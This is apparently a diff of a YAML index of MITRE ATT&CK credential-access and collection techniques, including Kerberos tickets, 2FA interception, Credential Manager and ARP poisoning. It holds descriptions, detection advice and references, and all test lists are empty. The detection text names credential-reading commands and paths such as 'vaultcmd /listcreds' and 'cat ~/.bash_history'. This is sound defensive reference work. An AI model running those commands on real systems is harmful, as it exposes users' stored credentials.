+        Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
+      x_mitre_contributors:
+      - Tim (Wadhwa-)Brown
+      - Cody Thomas, SpecterOps
       x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
         or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634),
         RC4 encryption within ticket granting tickets (TGTs), and ticket granting
@@ -7032,38 +7100,57 @@ credential-access:
         from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002)
         access the LSA Subsystem Service (LSASS) process by opening the process, locating
         the LSA secrets key, and decrypting the sections in memory where credential
-        details, including Kerberos tickets, are stored."
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
+        details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes
+        accessing <code>secrets.ldb</code> and <code>.secrets.mkey</code> located
+        in <code>/var/lib/sss/secrets/</code>."
+      created: '2020-02-11T19:12:46.830Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1111:
     technique:
-      created: '2017-05-31T21:31:23.195Z'
+      type: attack-pattern
       modified: '2020-03-25T20:35:21.672Z'
+      name: Two-Factor Authentication Interception
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1111
+        external_id: T1111
+        source_name: mitre-attack
+      - source_name: Mandiant M Trends 2011
+        description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved
+          January 10, 2016.
+        url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf
+      - source_name: GCN RSA June 2011
+        description: Jackson, William. (2011, June 7). RSA confirms its tokens used
+          in Lockheed hack. Retrieved September 24, 2018.
+        url: https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx
+      - source_name: Operation Emmental
+        description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding
+          Holes Operation Emmental. Retrieved February 9, 2016.
+        url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Driver: Driver Load'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      x_mitre_system_requirements:
+      - |-
+        Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.
+
+        Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.
+
+        Hardware token: Access to the seed and algorithm of generating one-time codes.
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1111
-        url: https://attack.mitre.org/techniques/T1111
-      - url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf
-        description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved
-          January 10, 2016.
-        source_name: Mandiant M Trends 2011
-      - url: https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx
-        description: Jackson, William. (2011, June 7). RSA confirms its tokens used
-          in Lockheed hack. Retrieved September 24, 2018.
-        source_name: GCN RSA June 2011
-      - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
-        description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding
-          Holes Operation Emmental. Retrieved February 9, 2016.
-        source_name: Operation Emmental
+      id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: "Adversaries may target two-factor authentication mechanisms, such
         as smart cards, to gain access to credentials that can be used to access systems,
         services, and network resources. Use of two or multi-factor authentication
@@ -7087,59 +7174,36 @@ credential-access:
         the device and/or service is not secured, then it may be vulnerable to interception.
         Although primarily focused on by cyber criminals, these authentication mechanisms
         have been targeted by advanced actors. (Citation: Operation Emmental)"
-      name: Two-Factor Authentication Interception
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49
-      x_mitre_version: '1.1'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - John Lambert, Microsoft Threat Intelligence Center
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Driver: Driver Load'
-      - 'Process: OS API Execution'
       x_mitre_detection: |-
         Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.
 
         Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
-      x_mitre_system_requirements:
-      - |-
-        Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.
-
-        Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.
-
-        Hardware token: Access to the seed and algorithm of generating one-time codes.
-      x_mitre_is_subtechnique: false
+      created: '2017-05-31T21:31:23.195Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1552:
     technique:
-      id: attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517
-      description: Adversaries may search compromised systems to find and obtain insecurely
-        stored credentials. These credentials can be stored and/or misplaced in many
-        locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)),
-        operating system or application-specific repositories (e.g. [Credentials in
-        Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized
-        files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).
-      name: Unsecured Credentials
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1552
-        url: https://attack.mitre.org/techniques/T1552
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
+      name: Unsecured Credentials
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'File: File Access'
+      - 'Process: Process Creation'
+      - 'User Account: User Account Authentication'
+      - 'Windows Registry: Windows Registry Key Access'
+      x_mitre_version: '1.2'
       modified: '2021-04-12T18:32:33.620Z'
       created: '2020-02-04T12:47:23.631Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -7150,12 +7214,17 @@ credential-access:
       - macOS
       - Google Workspace
       - Containers
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
       x_mitre_is_subtechnique: false
-      x_mitre_version: '1.2'
+      id: attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517
+      description: Adversaries may search compromised systems to find and obtain insecurely
+        stored credentials. These credentials can be stored and/or misplaced in many
+        locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)),
+        operating system or application-specific repositories (e.g. [Credentials in
+        Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized
+        files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       x_mitre_detection: |-
         While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.
 
@@ -7164,112 +7233,134 @@ credential-access:
         Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.
 
         Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Access'
-      - 'Process: Process Creation'
-      - 'User Account: User Account Authentication'
-      - 'Windows Registry: Windows Registry Key Access'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1552
+        external_id: T1552
+        source_name: mitre-attack
     atomic_tests: []
   T1606.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1606.001
-        url: https://attack.mitre.org/techniques/T1606/001
-      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
-          the Cookie. Retrieved April 5, 2019.
-        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
-        source_name: Pass The Cookie
-      - source_name: Volexity SolarWinds
-        url: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
-        description: Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds
-          Compromise to Breach Organizations. Retrieved December 29, 2020.
-      - source_name: Unit 42 Mac Crypto Cookies January 2019
-        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
-        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
-          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Web Cookies
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Web Credential: Web Credential Creation'
+      - 'Web Credential: Web Credential Usage'
+      x_mitre_version: '1.1'
+      modified: '2021-09-20T16:48:28.041Z'
+      created: '2020-12-17T02:14:34.178Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - SaaS
+      - IaaS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a
       description: |-
         Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.
 
         Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.
 
         Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)
-      id: attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-01-11T20:31:36.404Z'
-      created: '2020-12-17T02:14:34.178Z'
-      x_mitre_data_sources:
-      - 'Logon Session: Logon Session Creation'
-      - 'Web Credential: Web Credential Creation'
-      - 'Web Credential: Web Credential Usage'
+      x_mitre_contributors:
+      - Jen Burns, HubSpot
       x_mitre_detection: Monitor for anomalous authentication activity, such as logons
         or other user session activity associated with unknown accounts. Monitor for
         unexpected and abnormal access to resources, including access of websites
         and cloud-based applications by the same user in different locations or by
         different systems that do not match expected configurations.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1606/001
+        external_id: T1606.001
+        source_name: mitre-attack
+      - source_name: Pass The Cookie
+        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
+          the Cookie. Retrieved April 5, 2019.
+        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
+      - url: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
+        description: Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds
+          Compromise to Breach Organizations. Retrieved December 29, 2020.
+        source_name: Volexity SolarWinds
+      - url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
+        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
+          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
+        source_name: Unit 42 Mac Crypto Cookies January 2019
+    atomic_tests: []
+  T1056.003:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Web Portal Capture
+      x_mitre_data_sources:
+      - 'File: File Modification'
       x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      modified: '2020-03-24T21:16:16.580Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      created: '2020-02-11T18:59:50.058Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      - SaaS
-    atomic_tests: []
-  T1056.003:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056.003
-        url: https://attack.mitre.org/techniques/T1056/003
-      - external_id: CAPEC-569
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/569.html
-      - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
-        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
-          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
-        source_name: Volexity Virtual Private Keylogging
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Web Portal Capture
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e
       description: |-
         Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.
 
         This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)
-      id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-03-24T21:16:16.580Z'
-      created: '2020-02-11T18:59:50.058Z'
-      x_mitre_system_requirements:
-      - An externally facing login portal is configured.
-      x_mitre_data_sources:
-      - 'File: File Modification'
       x_mitre_detection: File monitoring may be used to detect changes to files in
         the Web directory for organization login pages that do not match with authorized
         updates to the Web server's content.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      x_mitre_system_requirements:
+      - An externally facing login portal is configured.
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056/003
+        external_id: T1056.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/569.html
+        external_id: CAPEC-569
+        source_name: capec
+      - source_name: Volexity Virtual Private Keylogging
+        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
+          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
+        url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
     atomic_tests: []
   T1555.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Windows Credential Manager
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      - 'File: File Access'
+      x_mitre_version: '1.0'
+      modified: '2021-04-29T21:00:18.973Z'
+      created: '2020-11-23T15:35:53.793Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       id: attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
 
@@ -7280,88 +7371,71 @@ credential-access:
         Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as <code>CredEnumerateA</code> to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
 
         Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)
-      name: Windows Credential Manager
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1555.004
-        url: https://attack.mitre.org/techniques/T1555/004
-      - source_name: Microsoft Credential Manager store
-        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store
-        description: Microsoft. (2016, August 31). Cached and Stored Credentials Technical
-          Overview. Retrieved November 24, 2020.
-      - source_name: Microsoft Credential Locker
-        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN
-        description: Microsoft. (2013, October 23). Credential Locker Overview. Retrieved
-          November 24, 2020.
-      - source_name: passcape Windows Vault
-        url: https://www.passcape.com/windows_password_recovery_vault_explorer
-        description: Passcape. (n.d.). Windows Password Recovery - Vault Explorer
-          and Decoder. Retrieved November 24, 2020.
-      - source_name: Malwarebytes The Windows Vault
-        url: 'https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ '
-        description: Arntz, P. (2016, March 30). The Windows Vault . Retrieved November
-          23, 2020.
-      - source_name: Microsoft CredEnumerate
-        url: https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea
-        description: Microsoft. (2018, December 5). CredEnumarateA function (wincred.h).
-          Retrieved November 24, 2020.
-      - source_name: Delpy Mimikatz Crendential Manager
-        url: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
-        description: Delpy, B. (2017, December 12). howto ~ credential manager saved
-          credentials. Retrieved November 23, 2020.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-29T21:00:18.973Z'
-      created: '2020-11-23T15:35:53.793Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Bernaldo Penas Antelo
       - Mugdha Peter Bansode
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      - 'File: File Access'
       x_mitre_detection: |-
         Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:“Windows Credentials”</code>).(Citation: Malwarebytes The Windows Vault)
 
         Consider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
 
         Consider monitoring file reads to Vault locations, <code>%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1555/004
+        external_id: T1555.004
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store
+        description: Microsoft. (2016, August 31). Cached and Stored Credentials Technical
+          Overview. Retrieved November 24, 2020.
+        source_name: Microsoft Credential Manager store
+      - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN
+        description: Microsoft. (2013, October 23). Credential Locker Overview. Retrieved
+          November 24, 2020.
+        source_name: Microsoft Credential Locker
+      - url: https://www.passcape.com/windows_password_recovery_vault_explorer
+        description: Passcape. (n.d.). Windows Password Recovery - Vault Explorer
+          and Decoder. Retrieved November 24, 2020.
+        source_name: passcape Windows Vault
+      - url: 'https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ '
+        description: Arntz, P. (2016, March 30). The Windows Vault . Retrieved November
+          23, 2020.
+        source_name: Malwarebytes The Windows Vault
+      - url: https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea
+        description: Microsoft. (2018, December 5). CredEnumarateA function (wincred.h).
+          Retrieved November 24, 2020.
+        source_name: Microsoft CredEnumerate
+      - url: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
+        description: Delpy, B. (2017, December 12). howto ~ credential manager saved
+          credentials. Retrieved November 23, 2020.
+        source_name: Delpy Mimikatz Crendential Manager
     atomic_tests: []
 collection:
   T1557.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1557.002
-        url: https://attack.mitre.org/techniques/T1557/002
-      - source_name: RFC826 ARP
-        url: https://tools.ietf.org/html/rfc826
-        description: Plummer, D. (1982, November). An Ethernet Address Resolution
-          Protocol. Retrieved October 15, 2020.
-      - source_name: Sans ARP Spoofing Aug 2003
-        url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
-        description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved
-          October 15, 2020.
-      - source_name: Cylance Cleaver
-        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
-          14, 2017.
-        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: ARP Cache Poisoning
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2021-07-28T01:04:39.141Z'
+      created: '2020-10-15T12:05:58.755Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |
         Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
 
@@ -7371,77 +7445,123 @@ collection:
 
         The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)
 
-        Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
-      id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2021-04-21T16:41:35.256Z'
-      created: '2020-10-15T12:05:58.755Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+        Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
       x_mitre_detection: "Monitor network traffic for unusual ARP traffic, gratuitous
         ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches
         across endpoints for signs of ARP poisoning. For example, if multiple IP addresses
         map to a single MAC address, this could be an indicator that the ARP cache
         has been poisoned."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1557/002
+        external_id: T1557.002
+        source_name: mitre-attack
+      - url: https://tools.ietf.org/html/rfc826
+        description: Plummer, D. (1982, November). An Ethernet Address Resolution
+          Protocol. Retrieved October 15, 2020.
+        source_name: RFC826 ARP
+      - url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
+        description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved
+          October 15, 2020.
+        source_name: Sans ARP Spoofing Aug 2003
+      - url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
+        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
+          14, 2017.
+        source_name: Cylance Cleaver
+    atomic_tests: []
+  T1557:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Adversary-in-the-Middle
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Content'
       - 'Network Traffic: Network Traffic Flow'
-      x_mitre_contributors:
-      - Jon Sternstein, Stern Security
+      - 'Service: Service Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-09-28T13:09:51.467Z'
+      created: '2020-02-11T19:07:12.114Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d
       x_mitre_platforms:
-      - Linux
       - Windows
       - macOS
+      - Linux
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
+
+        Adversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.
+      x_mitre_contributors:
+      - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project
+      x_mitre_detection: Monitor network traffic for anomalies associated with known
+        AiTM behavior. Consider monitoring for modifications to system configuration
+        files involved in shaping network traffic flow.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1557
+        external_id: T1557
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/94.html
+        external_id: CAPEC-94
+        source_name: capec
+      - url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
+        description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March
+          2, 2020.
+        source_name: Rapid7 MiTM Basics
     atomic_tests: []
   T1560:
     technique:
